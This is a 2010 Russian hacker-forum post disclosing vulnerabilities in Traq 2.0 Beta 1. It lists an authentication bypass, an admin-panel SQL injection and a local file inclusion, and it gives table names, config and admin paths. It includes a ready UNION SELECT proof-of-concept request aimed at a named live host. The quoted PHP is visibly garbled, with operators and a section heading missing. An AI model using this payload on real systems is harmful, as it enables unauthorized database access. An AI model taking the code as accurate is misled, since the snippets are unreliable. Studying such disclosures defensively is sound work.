RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости Traq (https://rdot.org/forum/showthread.php?t=182)

Iceangel_ 07.07.2010 15:38

Уязвимости Traq
Уязвимости Traq 2.0 Beta 1(возможно уязвимы и более ранние версии)
Traq is a PHP5 and MySQL based Project Tracking system with the ability to host multiple projects.

Default database prefix: traq_
Users table : {prefix}users(username: password: group_id)
Config: /inc/config.php
Admin-panel: /admincp/

PHP код:


// Get the statistics...
$projects $db->numrows($db->query("SELECT id FROM ".DBPF."projects")); 


PHP код:

 function authenticate()
header("Location: login.php"); //die() и exit отсутствуют, бипасс налицо 

2)Sql-injection(требования:доступ в админ панель)

PHP код:

// Fetch Plugin info
$plugin $db->queryfirst("SELECT name FROM ".DBPF."plugins WHERE id='".$_REQUEST['plugin']."' LIMIT 1");  //везде стоит обработка переменной участвующей в запросе, в этом месте пропустили
    // Fetch Plugin hooks
$hooks = array();
$fetchhooks $db->query("SELECT id,title,hook,code FROM ".DBPF."plugin_code WHERE plugin_id='".$db->res($_REQUEST['plugin'])."' ORDER BY title ASC"); 

эксплуатация и PoC:

GET http://bugs.macpietsapps.net/admincp/plugins.php?hooks=1&plugin='+union+select+concat_ws(0x3a,version(),user(),database())--+ HTTP/1.0 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Connection: Close

3)LFI(требования:доступ в админ панель)


PHP код:

 function settings($setting)
// Check if the setting has already been fetched
    // and return it if it has.
if(isset($CACHE['settings'][$setting])) return $CACHE['settings'][$setting];
// Looks like the setting isn't in the cache,
    // lets fetch it now...
$result $db->fetcharray($db->query("SELECT setting, value FROM ".DBPF."settings WHERE setting='".$db->res($setting)."' LIMIT 1"));
$CACHE['settings'][$setting] = $result['value'];
$hook FishHook::hook('function_settings')) ? eval($hook) : false;


PHP код:


Через /admincp/settings.php меняем Language(по дефолту enus.php) и сохраняем настройки.

Часовой пояс GMT +3, время: 07:04.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot